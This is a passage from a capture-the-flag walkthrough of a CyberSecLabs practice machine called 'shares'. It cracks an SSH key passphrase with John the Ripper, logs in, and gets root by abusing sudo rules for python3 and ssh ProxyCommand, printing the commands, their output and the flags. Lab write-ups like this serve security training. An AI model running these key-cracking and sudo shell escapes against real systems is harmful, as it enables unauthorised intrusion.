xmXIQ4pDW59LSO7PnPdjsGN8eY7xTnG5509DYK6FoUC0T8hjp/wR9ucKDDqQoXpW BM9cM5IPltG+wAlP39EbGMinnqgqDazWAk/wSKo4ieGLnWcNORe7Ti299tImCy0l 8zJWICDbH7bSMYyVPlWBrgUBWQ6xFI55iKdhjhlQdblZI04DoSathKFe+Khjb8bi -----END RSA PRIVATE KEY----- kali@kali:/tmp/amir/.ssh$
CRACK FOR “ID_RSA” PASSPHRASE WITH JOHN
kali@kali:~/cyberseclabs$ python ssh2john.py id_rsa > id_rsa.hash kali@kali:~/cyberseclabs$ john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hello6 (id_rsa) 1g 0:00:00:10 DONE (2020-06-25 10:08) 0.09157g/s 1313Kp/s 1313Kc/s 1313KC/sa6_123..*7¡Vamos! Session completed kali@kali:~/cyberseclabs$
SSH CONNECT TO MACHINE WITH ID_RSA
(SSH port different. Port number is 27853)
kali@kali:~/cyberseclabs$ ssh -i id_rsa amir@172.31.1.7 -p 27853 Enter passphrase for key 'id_rsa':hello6 Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Jun 25 13:59:46 UTC 2020 System load: 0.0 Processes: 105 Usage of /: 39.2% of 9.78GB Users logged in: 0 Memory usage: 34% IP address for eth0: 172.31.1.7 Swap usage: 0% 21 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jun 25 13:00:51 2020 from 172.31.249.99 amir@shares:~$
access.txt file not include amir files, try first sudo -l command
https://gtfobins.github.io/gtfobins/python/#sudo
amir@shares:/tmp$ sudo -l
Matching Defaults entries for amir on shares:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User amir may run the following commands on shares:
(ALL : ALL) ALL
(amy) NOPASSWD: /usr/bin/pkexec
(amy) NOPASSWD: /usr/bin/python3
amir@shares:/home$ sudo -u amy /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
amy@shares:/home$ ls
amir amy
amy@shares:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Apr 2 15:28 .
drwxr-xr-x 24 root root 4096 Apr 2 14:34 ..
drwxrwxr-x 5 amir amir 4096 Apr 2 15:43 amir
drwxr-xr-- 2 amy amy 4096 Apr 2 15:41 amy
amy@shares:/home$ cd amy
amy@shares:/home/amy$ ls
access.txt
amy@shares:/home/amy$ ls
access.txt
amy@shares:/home/amy$ cat access.txt
dc17a108efc49710e2fd5450c492231c
FOR ROOT ACCESS
https://gtfobins.github.io/gtfobins/ssh/#sudo
amy@shares:/home/amy$ sudo -l Matching Defaults entries for amy on shares: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User amy may run the following commands on shares: (ALL) NOPASSWD: /usr/bin/ssh amy@shares:/home/amy$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x # id uid=0(root) gid=0(root) groups=0(root) # whoami root # bash root@shares:/home/amy# cd /root root@shares:/root# ls -la total 28 drwx------ 3 root root 4096 Apr 2 15:39 . drwxr-xr-x 24 root root 4096 Apr 2 14:34 .. -rw------- 1 root root 78 Apr 2 15:46 .bash_history -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 Apr 2 14:43 .ssh -rw-r--r-- 1 root root 33 Apr 2 15:39 system.txt root@shares:/root# cat system.txt b910aca7fe5e6fcb5b0d1554f66c1506 root@shares:/root#
Author – Puckiestyle